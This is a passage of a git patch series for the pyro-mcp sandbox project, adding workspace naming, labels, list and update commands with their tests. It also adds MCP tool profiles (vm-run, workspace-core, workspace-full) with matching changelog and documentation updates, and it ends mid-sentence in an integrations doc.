clear_labels=["issue"], ) pyro.start_service( "workspace-123", @@ -182,9 +201,25 @@ def test_pyro_workspace_network_policy_and_published_ports_delegate() -> None: "allow_host_compat": False, "seed_path": None, "secrets": None, + "name": "repro-fix", + "labels": {"issue": "123"}, }, ) assert calls[1] == ( + "list_workspaces", + {}, + ) + assert calls[2] == ( + "update_workspace", + { + "workspace_id": "workspace-123", + "name": "repro-fix", + "clear_name": False, + "labels": {"owner": "codex"}, + "clear_labels": ["issue"], + }, + ) + assert calls[3] == ( "start_service", { "workspace_id": "workspace-123", @@ -219,12 +254,20 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: environment="debian:12-base", allow_host_compat=True, seed_path=source_dir, + name="repro-fix", + labels={"issue": "123"}, secrets=[ {"name": "API_TOKEN", "value": "expected"}, {"name": "FILE_TOKEN", "file_path": str(secret_file)}, ], ) workspace_id = str(created["workspace_id"]) + listed_before = pyro.list_workspaces() + updated_metadata = pyro.update_workspace( + workspace_id, + labels={"owner": "codex"}, + clear_labels=["issue"], + ) updated_dir = tmp_path / "updated" updated_dir.mkdir() (updated_dir / "more.txt").write_text("more\n", encoding="utf-8") @@ -293,6 +336,11 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: {"name": "API_TOKEN", "source_kind": "literal"}, {"name": "FILE_TOKEN", "source_kind": "file"}, ] + assert created["name"] == "repro-fix" + assert created["labels"] == {"issue": "123"} + assert listed_before["count"] == 1 + assert listed_before["workspaces"][0]["name"] == "repro-fix" + assert updated_metadata["labels"] == {"owner": "codex"} assert executed["stdout"] == "[REDACTED]\n" assert any(entry["path"] == "/workspace/note.txt" for entry in listed_files["entries"]) assert file_read["content"] == "ok\n" diff --git a/tests/test_cli.py b/tests/test_cli.py index 7b669af..c853d75 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -68,6 +68,12 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: workspace_help = _subparser_choice(parser, "workspace").format_help() assert "stable workspace contract" in workspace_help assert "pyro workspace create debian:12 --seed-path ./repo" in workspace_help + assert "pyro workspace create debian:12 --name repro-fix --label issue=123" in workspace_help + assert "pyro workspace list" in workspace_help + assert ( + "pyro workspace update WORKSPACE_ID --name retry-run --label owner=codex" + in workspace_help + ) assert "pyro workspace sync push WORKSPACE_ID ./repo --dest src" in workspace_help assert "pyro workspace exec WORKSPACE_ID" in workspace_help assert "pyro workspace diff WORKSPACE_ID" in workspace_help @@ -84,6 +90,8 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: _subparser_choice(parser, "workspace"), "create", ).format_help() + assert "--name" in workspace_create_help + assert "--label" in workspace_create_help assert "--seed-path" in workspace_create_help assert "--secret" in workspace_create_help assert "--secret-file" in workspace_create_help @@ -116,6 +124,19 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "--output" in workspace_export_help assert "Export one file or directory from `/workspace`" in workspace_export_help + workspace_list_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "list" + ).format_help() + assert "List persisted workspaces" in workspace_list_help + + workspace_update_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "update" + ).format_help() + assert "--name" in workspace_update_help + assert "--clear-name" in workspace_update_help + assert "--label" in workspace_update_help + assert "--clear-label" in workspace_update_help + workspace_file_help = _subparser_choice( _subparser_choice(parser, "workspace"), "file" ).format_help() @@ -544,6 +565,8 @@ def test_cli_workspace_create_prints_json( assert kwargs["environment"] == "debian:12" assert kwargs["seed_path"] == "./repo" assert kwargs["network_policy"] == "egress" + assert kwargs["name"] == "repro-fix" + assert kwargs["labels"] == {"issue": "123"} return {"workspace_id": "workspace-123", "state": "started"} class StubParser: @@ -558,6 +581,10 @@ def test_cli_workspace_create_prints_json( network_policy="egress", allow_host_compat=False, seed_path="./repo", + name="repro-fix", + label=["issue=123"], + secret=[], + secret_file=[], json=True, ) @@ -576,10 +603,13 @@ def test_cli_workspace_create_prints_human( del kwargs return { "workspace_id": "workspace-123", + "name": "repro-fix", + "labels": {"issue": "123"}, "environment": "debian:12", "state": "started", "network_policy": "off", "workspace_path": "/workspace", + "last_activity_at": 123.0, "workspace_seed": { "mode": "directory", "seed_path": "/tmp/repo", @@ -606,6 +636,10 @@ def test_cli_workspace_create_prints_human( network_policy="off", allow_host_compat=False, seed_path="/tmp/repo", + name="repro-fix", + label=["issue=123"], + secret=[], + secret_file=[], json=False, ) @@ -614,6 +648,8 @@ def test_cli_workspace_create_prints_human( cli.main() output = capsys.readouterr().out assert "Workspace ID: workspace-123" in output + assert "Name: repro-fix" in output + assert "Labels: issue=123" in output assert "Workspace: /workspace" in output assert "Workspace seed: directory from /tmp/repo" in output @@ -669,6 +705,214 @@ def test_cli_workspace_exec_prints_human_output( ) +def test_print_workspace_summary_human_handles_last_command_and_secret_filtering( + capsys: pytest.CaptureFixture[str], +) -> None: + cli._print_workspace_summary_human( + { + "workspace_id": "workspace-123", + "labels": {"owner": "codex"}, + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "last_activity_at": 123.0, + "network_policy": "off", + "workspace_seed": {"mode": "directory", "seed_path": "/tmp/repo"}, + "secrets": ["ignored", {"name": "API_TOKEN", "source_kind": "literal"}], + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 2, + "reset_count": 0, + "service_count": 1, + "running_service_count": 1, + "last_command": {"command": "pytest", "exit_code": 0}, + }, + action="Workspace", + ) + output = capsys.readouterr().out + assert "Secrets: API_TOKEN (literal)" in output + assert "Last command: pytest (exit_code=0)" in output + + +def test_cli_workspace_list_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_workspaces(self) -> dict[str, Any]: + return { + "count": 1, + "workspaces": [ + { + "workspace_id": "workspace-123", + "name": "repro-fix", + "labels": {"issue": "123", "owner": "codex"}, + "environment": "debian:12", + "state": "started", + "created_at": 100.0, + "last_activity_at": 200.0, + "expires_at": 700.0, + "command_count": 2, + "service_count": 1, + "running_service_count": 1, + } + ], + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="list", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "workspace_id=workspace-123" in output + assert "name='repro-fix'" in output + assert "labels=issue=123,owner=codex" in output + + +def test_print_workspace_list_human_skips_non_dict_entries( + capsys: pytest.CaptureFixture[str], +) -> None: + cli._print_workspace_list_human( + { + "workspaces": [ + "ignored", + { + "workspace_id": "workspace-123", + "state": "started", + "environment": "debian:12", + "last_activity_at": 200.0, + "expires_at": 700.0, + "command_count": 2, + "service_count": 1, + "running_service_count": 1, + }, + ] + } + ) + output = capsys.readouterr().out + assert "workspace_id=workspace-123" in output + assert "ignored" not in output + + +def test_cli_workspace_list_prints_empty_state( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_workspaces(self) -> dict[str, Any]: + return {"count": 0, "workspaces": []} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="list", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + assert capsys.readouterr().out.strip() == "No workspaces." + + +def test_cli_workspace_update_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def update_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert kwargs["name"] == "retry-run" + assert kwargs["clear_name"] is False + assert kwargs["labels"] == {"issue": "124", "owner": "codex"} + assert kwargs["clear_labels"] == ["stale"] + return { + "workspace_id": workspace_id, + "name": "retry-run", + "labels": {"issue": "124", "owner": "codex"}, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="update", + workspace_id="workspace-123", + name="retry-run", + clear_name=False, + label=["issue=124", "owner=codex"], + clear_label=["stale"], + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["workspace_id"] == "workspace-123" + + +def test_cli_workspace_update_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def update_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert kwargs["name"] is None + assert kwargs["clear_name"] is True + assert kwargs["labels"] == {"owner": "codex"} + assert kwargs["clear_labels"] is None + return { + "workspace_id": workspace_id, + "name": None, + "labels": {"owner": "codex"}, + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "last_activity_at": 123.0, + "network_policy": "off", + "workspace_seed": {"mode": "empty", "seed_path": None}, + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 0, + "reset_count": 0, + "service_count": 0, + "running_service_count": 0, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="update", + workspace_id="workspace-123", + name=None, + clear_name=True, + label=["owner=codex"], + clear_label=[], + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Workspace ID: workspace-123" in output + assert "Labels: owner=codex" in output + assert "Last activity at: 123.0" in output + + def test_cli_workspace_export_prints_human_output( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], @@ -3286,6 +3530,8 @@ def test_cli_workspace_create_passes_secrets( {"name": "API_TOKEN", "value": "expected"}, {"name": "FILE_TOKEN", "file_path": str(secret_file)}, ] + assert kwargs["name"] is None + assert kwargs["labels"] is None return {"workspace_id": "ws-123"} class StubParser: @@ -3297,9 +3543,11 @@ def test_cli_workspace_create_passes_secrets( vcpu_count=1, mem_mib=1024, ttl_seconds=600, - network=False, + network_policy="off", allow_host_compat=False, seed_path="./repo", + name=None, + label=[], secret=["API_TOKEN=expected"], secret_file=[f"FILE_TOKEN={secret_file}"], json=True, diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 406ce16..0add351 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -28,6 +28,7 @@ from pyro_mcp.contract import ( PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS, PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS, + PUBLIC_CLI_WORKSPACE_LIST_FLAGS, PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS, PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_RESET_FLAGS, @@ -52,6 +53,7 @@ from pyro_mcp.contract import ( PUBLIC_CLI_WORKSPACE_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS, PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS, PUBLIC_MCP_TOOLS, PUBLIC_SDK_METHODS, ) @@ -127,6 +129,16 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS: assert flag in workspace_export_help_text + workspace_list_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "list" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_LIST_FLAGS: + assert flag in workspace_list_help_text + workspace_update_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "update" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS: + assert flag in workspace_update_help_text workspace_file_help_text = _subparser_choice( _subparser_choice(parser, "workspace"), "file" ).format_help() diff --git a/tests/test_server.py b/tests/test_server.py index 547f0d2..2f1b9e3 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -32,6 +32,8 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "vm_run" in tool_names assert "vm_status" in tool_names assert "workspace_create" in tool_names + assert "workspace_list" in tool_names + assert "workspace_update" in tool_names assert "workspace_start" in tool_names assert "workspace_stop" in tool_names assert "workspace_diff" in tool_names @@ -220,6 +222,8 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: "environment": "debian:12-base", "allow_host_compat": True, "seed_path": str(source_dir), + "name": "repro-fix", + "labels": {"issue": "123"}, "secrets": [ {"name": "API_TOKEN", "value": "expected"}, {"name": "FILE_TOKEN", "file_path": str(secret_file)}, @@ -228,6 +232,17 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: ) ) workspace_id = str(created["workspace_id"]) + listed_before = _extract_structured(await server.call_tool("workspace_list", {})) + updated = _extract_structured( + await server.call_tool( + "workspace_update", + { + "workspace_id": workspace_id, + "labels": {"owner": "codex"}, + "clear_labels": ["issue"], + }, + ) + ) update_dir = tmp_path / "update" update_dir.mkdir() (update_dir / "more.txt").write_text("more\n", encoding="utf-8") @@ -385,6 +400,8 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: ) return ( created, + listed_before, + updated, synced, executed, listed_files, @@ -408,6 +425,8 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: ( created, + listed_before, + updated, synced, executed, listed_files, @@ -429,6 +448,11 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: deleted, ) = asyncio.run(_run()) assert created["state"] == "started" + assert created["name"] == "repro-fix" + assert created["labels"] == {"issue": "123"} + assert listed_before["count"] == 1 + assert listed_before["workspaces"][0]["name"] == "repro-fix" + assert updated["labels"] == {"owner": "codex"} assert created["workspace_seed"]["mode"] == "directory" assert created["secrets"] == [ {"name": "API_TOKEN", "source_kind": "literal"}, diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index e955ce9..baca81d 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -505,6 +505,153 @@ def test_workspace_sync_push_rejects_destination_outside_workspace(tmp_path: Pat manager.push_workspace_sync(workspace_id, source_path=source_dir, dest="../escape") +def test_workspace_metadata_list_update_and_last_activity(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + name="repro-fix", + labels={"issue": "123", "owner": "codex"}, + ) + workspace_id = str(created["workspace_id"]) + assert created["name"] == "repro-fix" + assert created["labels"] == {"issue": "123", "owner": "codex"} + created_activity = float(created["last_activity_at"]) + + listed = manager.list_workspaces() + assert listed["count"] == 1 + assert listed["workspaces"][0]["name"] == "repro-fix" + assert listed["workspaces"][0]["labels"] == {"issue": "123", "owner": "codex"} + + time.sleep(0.01) + updated = manager.update_workspace( + workspace_id, + name="retry-run", + labels={"issue": "124"}, + clear_labels=["owner"], + ) + assert updated["name"] == "retry-run" + assert updated["labels"] == {"issue": "124"} + updated_activity = float(updated["last_activity_at"]) + assert updated_activity >= created_activity + + status_before_exec = manager.status_workspace(workspace_id) + time.sleep(0.01) + manager.exec_workspace(workspace_id, command="printf 'ok\\n'", timeout_seconds=30) + status_after_exec = manager.status_workspace(workspace_id) + assert float(status_before_exec["last_activity_at"]) == updated_activity + assert float(status_after_exec["last_activity_at"]) > updated_activity + reset = manager.reset_workspace(workspace_id) + assert reset["name"] == "retry-run" + assert reset["labels"] == {"issue": "124"} + + +def test_workspace_list_loads_legacy_records_without_metadata_fields(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + record_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(record_path.read_text(encoding="utf-8")) + payload.pop("name", None) + payload.pop("labels", None) + payload.pop("last_activity_at", None) + record_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + listed = manager.list_workspaces() + assert listed["count"] == 1 + listed_workspace = listed["workspaces"][0] + assert listed_workspace["workspace_id"] == workspace_id + assert listed_workspace["name"] is None + assert listed_workspace["labels"] == {} + assert float(listed_workspace["last_activity_at"]) == float(created["created_at"]) + + +def test_workspace_list_sorts_by_last_activity_and_skips_invalid_payload(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + first = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + name="first", + ) + second = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + name="second", + ) + first_id = str(first["workspace_id"]) + second_id = str(second["workspace_id"]) + time.sleep(0.01) + manager.exec_workspace(second_id, command="printf 'ok\\n'", timeout_seconds=30) + + invalid_dir = tmp_path / "vms" / "workspaces" / "invalid" + invalid_dir.mkdir(parents=True) + (invalid_dir / "workspace.json").write_text('"not-a-dict"', encoding="utf-8") + + listed = manager.list_workspaces() + assert listed["count"] == 2 + assert [item["workspace_id"] for item in listed["workspaces"]] == [second_id, first_id] + + +def test_workspace_update_clear_name_and_rejects_noop(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + name="repro-fix", + labels={"issue": "123"}, + ) + workspace_id = str(created["workspace_id"]) + + cleared = manager.update_workspace( + workspace_id, + clear_name=True, + clear_labels=["issue"], + ) + assert cleared["name"] is None + assert cleared["labels"] == {} + + with pytest.raises(ValueError, match="workspace update requested no effective metadata change"): + manager.update_workspace(workspace_id, clear_name=True) + + with pytest.raises(ValueError, match="name and clear_name cannot be used together"): + manager.update_workspace(workspace_id, name="retry-run", clear_name=True) + + +def test_workspace_export_rejects_empty_output_path(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + + with pytest.raises(ValueError, match="output_path must not be empty"): + manager.export_workspace(str(created["workspace_id"]), path=".", output_path=" ") + + def test_workspace_diff_and_export_round_trip(tmp_path: Path) -> None: seed_dir = tmp_path / "seed" seed_dir.mkdir() diff --git a/uv.lock b/uv.lock index b8da050..3944d11 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.2.0" +version = "3.3.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From eecfd7a7d7dfe0b0846c010ac6e69f3082b5e7ba Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 23:52:13 -0300 Subject: [PATCH 28/49] Add MCP tool profiles for workspace chat flows Expose stable MCP/server tool profiles so chat hosts can start narrow and widen only when needed. This adds vm-run, workspace-core, and workspace-full across the CLI serve path, Pyro.create_server(), and the package-level create_server() factory while keeping workspace-full as the default. Register profile-specific tool sets from one shared contract mapping, and narrow the workspace-core schemas so secrets, network policy, shells, services, snapshots, and disk tools do not leak into the default persistent chat profile. The full surface remains available unchanged under workspace-full. Refresh the public docs and examples around the profile progression, add a canonical OpenAI Responses workspace-core example, mark the 3.4.0 roadmap milestone done, and verify with uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and a real guest-backed workspace-core smoke for create, file write, exec, diff, export, reset, and delete. --- CHANGELOG.md | 11 + README.md | 25 +- docs/first-run.md | 6 +- docs/install.md | 6 +- docs/integrations.md | 35 +- docs/public-contract.md | 19 +- docs/roadmap/llm-chat-ergonomics.md | 7 +- ...-tool-profiles-and-canonical-chat-flows.md | 2 +- examples/claude_desktop_mcp_config.json | 2 +- examples/cursor_mcp_config.json | 2 +- examples/mcp_client_config.md | 14 +- examples/openai_responses_workspace_core.py | 89 ++ pyproject.toml | 2 +- src/pyro_mcp/api.py | 945 ++++++++++-------- src/pyro_mcp/cli.py | 30 +- src/pyro_mcp/contract.py | 23 + src/pyro_mcp/server.py | 10 +- src/pyro_mcp/vm_environments.py | 2 +- tests/test_api.py | 84 +- tests/test_cli.py | 11 +- tests/test_public_contract.py | 11 + tests/test_server.py | 157 ++- uv.lock | 2 +- 23 files changed, 984 insertions(+), 511 deletions(-) create mode 100644 examples/openai_responses_workspace_core.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 76f26bd..da17211 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,17 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.4.0 + +- Added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and + `workspace-full` so chat hosts can expose only the right model-facing surface. +- Added `--profile` to `pyro mcp serve` plus matching `profile=` support on + `Pyro.create_server()` and the package-level `create_server()` factory. +- Added canonical `workspace-core` integration examples for OpenAI Responses + and MCP client configuration, and narrowed the `workspace-core` schemas so + secrets, network policy, shells, services, snapshots, and disk tools stay out + of the default persistent chat profile. + ## 3.3.0 - Added first-class workspace naming and discovery across the CLI, Python SDK, and MCP server diff --git a/README.md b/README.md index c6bbe92..c5841da 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.3.0: [CHANGELOG.md#330](CHANGELOG.md#330) +- What's new in 3.4.0: [CHANGELOG.md#340](CHANGELOG.md#340) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -59,7 +59,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.3.0 +Catalog version: 3.4.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -189,7 +189,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.3.0 +Catalog version: 3.4.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -305,7 +305,7 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.3.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.4.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -333,7 +333,7 @@ The public user-facing interface is `pyro` and `Pyro`. After the CLI validation - `pyro` for direct CLI usage, including one-shot `run` and persistent `workspace` workflows - `from pyro_mcp import Pyro` for Python orchestration -- `pyro mcp serve` for MCP clients +- `pyro mcp serve --profile workspace-core` for MCP clients Command forms: @@ -399,9 +399,15 @@ Use `--allow-host-compat` only if you explicitly want host execution. Run the MCP server after the CLI path above works: ```bash -pyro mcp serve +pyro mcp serve --profile workspace-core ``` +Profile progression for chat hosts: + +- `vm-run`: expose only `vm_run` +- `workspace-core`: expose the practical persistent chat loop +- `workspace-full`: expose shells, services, snapshots, secrets, network policy, and disk tools + Run the deterministic demo: ```bash @@ -520,6 +526,12 @@ Persistent workspace tools: - `workspace_logs(workspace_id)` - `workspace_delete(workspace_id)` +Recommended MCP tool profiles: + +- `vm-run`: `vm_run` only +- `workspace-core`: `vm_run`, `workspace_create`, `workspace_list`, `workspace_update`, `workspace_status`, `workspace_sync_push`, `workspace_exec`, `workspace_logs`, `workspace_file_list`, `workspace_file_read`, `workspace_file_write`, `workspace_patch_apply`, `workspace_diff`, `workspace_export`, `workspace_reset`, `workspace_delete` +- `workspace-full`: the complete stable MCP surface above + ## Integration Examples - Python one-shot SDK example: [examples/python_run.py](examples/python_run.py) @@ -529,6 +541,7 @@ Persistent workspace tools: - Claude Desktop MCP config: [examples/claude_desktop_mcp_config.json](examples/claude_desktop_mcp_config.json) - Cursor MCP config: [examples/cursor_mcp_config.json](examples/cursor_mcp_config.json) - OpenAI Responses API example: [examples/openai_responses_vm_run.py](examples/openai_responses_vm_run.py) +- OpenAI Responses `workspace-core` example: [examples/openai_responses_workspace_core.py](examples/openai_responses_workspace_core.py) - LangChain wrapper example: [examples/langchain_vm_run.py](examples/langchain_vm_run.py) - Agent-ready `vm_run` example: [examples/agent_vm_run.py](examples/agent_vm_run.py) diff --git a/docs/first-run.md b/docs/first-run.md index 4d0f033..cf41d68 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.3.0 +Catalog version: 3.4.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -116,7 +116,7 @@ $ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TO $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --secret-env API_TOKEN --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done' $ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app -$ uvx --from pyro-mcp pyro mcp serve +$ uvx --from pyro-mcp pyro mcp serve --profile workspace-core ``` `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end to end. @@ -252,7 +252,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.3.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.4.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index c1c1475..b40d593 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.3.0 +Catalog version: 3.4.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -224,7 +224,7 @@ After the CLI path works, you can move on to: - interactive shells: `pyro workspace shell open WORKSPACE_ID` - long-running services: `pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - localhost-published ports: `pyro workspace create debian:12 --network-policy egress+published-ports` and `pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` -- MCP: `pyro mcp serve` +- MCP: `pyro mcp serve --profile workspace-core` - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` @@ -274,7 +274,7 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.3.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.4.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/integrations.md b/docs/integrations.md index cceb5f1..866044b 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -7,8 +7,10 @@ CLI path in [install.md](install.md) or [first-run.md](first-run.md). ## Recommended Default -Use `vm_run` first for one-shot commands, then move to the stable workspace surface when the -agent needs to inhabit one sandbox across multiple calls. +Use `vm_run` first for one-shot commands, then move to `workspace-core` when the +agent needs to inhabit one sandbox across multiple calls. Only promote the chat +surface to `workspace-full` when it truly needs shells, services, snapshots, +secrets, network policy, or disk tools. That keeps the model-facing contract small: @@ -17,8 +19,11 @@ That keeps the model-facing contract small: - one ephemeral VM - automatic cleanup -Move to `workspace_*` when the agent needs repeated commands, shells, services, snapshots, reset, -diff, or export in one stable workspace across multiple calls. +Profile progression: + +- `vm-run`: one-shot only +- `workspace-core`: persistent workspace create/list/update/status/sync/exec/logs/file ops/diff/export/reset/delete +- `workspace-full`: the full stable workspace surface, including shells, services, snapshots, secrets, network 